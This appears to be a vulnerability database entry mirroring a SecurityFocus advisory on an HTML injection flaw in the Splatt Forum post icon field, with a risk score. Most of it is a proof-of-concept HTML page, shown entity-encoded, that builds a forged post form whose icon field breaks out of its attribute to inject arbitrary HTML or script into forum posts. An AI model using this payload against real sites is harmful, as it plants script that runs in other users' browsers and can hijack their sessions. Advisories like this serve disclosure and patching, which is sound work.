Splatt Forum 3/4 Post Icon HTML Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Splatt Forum HTML Injection Vulnerabilit


                                                source: http://www.securityfocus.com/bid/8198/info

Splatt Forum has been reported prone to a HTML injection vulnerability.

An attacker may save a Splatt Forum post form, and modify it so that the post icon value contains arbitrary attacker supplied HTML code. As a result, a malicious user may have the ability to submit a post to the site containing embedded script code. This code would be executed by a user&#39;s browser in the context of the vulnerable site. 

&#60;html&#62;
&#60;body&#62;
&#60;script&#62;
&#60;!-- Modify here --&#62;
var address=&#39;http://www.splatt.it/gate.html?mop=modload&name=Forums&file=newtopic&#39;;
&#60;/script&#62;

&#60;!-- Exploit form --&#62;
&#60;script&#62;
document.write(&#34;&#60;form action=&#34;+address+&#34; method=&#39;post&#39; name=&#39;coolsus&#39;&#62;&#34;);
&#60;/script&#62;
Numero forum: &#60;input type=text name=forum value=1 size=3&#62;&#60;br&#62;
Username: &#60;input CLASS=textbox TYPE=&#34;TEXT&#34; NAME=&#34;username&#34; SIZE=&#34;25&#34; MAXLENGTH=&#34;40&#34;&#62;&#60;br&#62;
Password: &#60;input CLASS=textbox TYPE=&#34;PASSWORD&#34; NAME=&#34;password&#34; SIZE=&#34;25&#34; MAXLENGTH=&#34;25&#34;&#62;&#60;br&#62;
Soggetto: &#60;input CLASS=textbox TYPE=&#34;TEXT&#34; NAME=&#34;subject&#34; SIZE=&#34;75&#34; MAXLENGTH=&#34;75&#34;&#62;&#60;br&#62;
Messaggio:&#60;br&#62;&#60;textarea name=&#34;message&#34; rows=&#34;10&#34; cols=&#34;75&#34; wrap=&#34;VIRTUAL&#34;&#62;&lt;/textarea&gt;&#60;br&#62;
&#60;input type=hidden name=bbcode value=0&#62;
&#60;input type=hidden name=smile value=0&#62;
&#60;input type=hidden name=notify value=0&#62;
&#60;b&#62;Inject code:&#60;/b&#62; &#60;input type=text name=image_subject value=&#39;icon1.gif&#34;&#62;HTML CODE&#60;!-- &#34;&#39; size=100&#62;&#60;br&#62;
&#60;input type=&#34;submit&#34; name=&#34;submit&#34; value=Invia class=&#34;Button&#34;&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1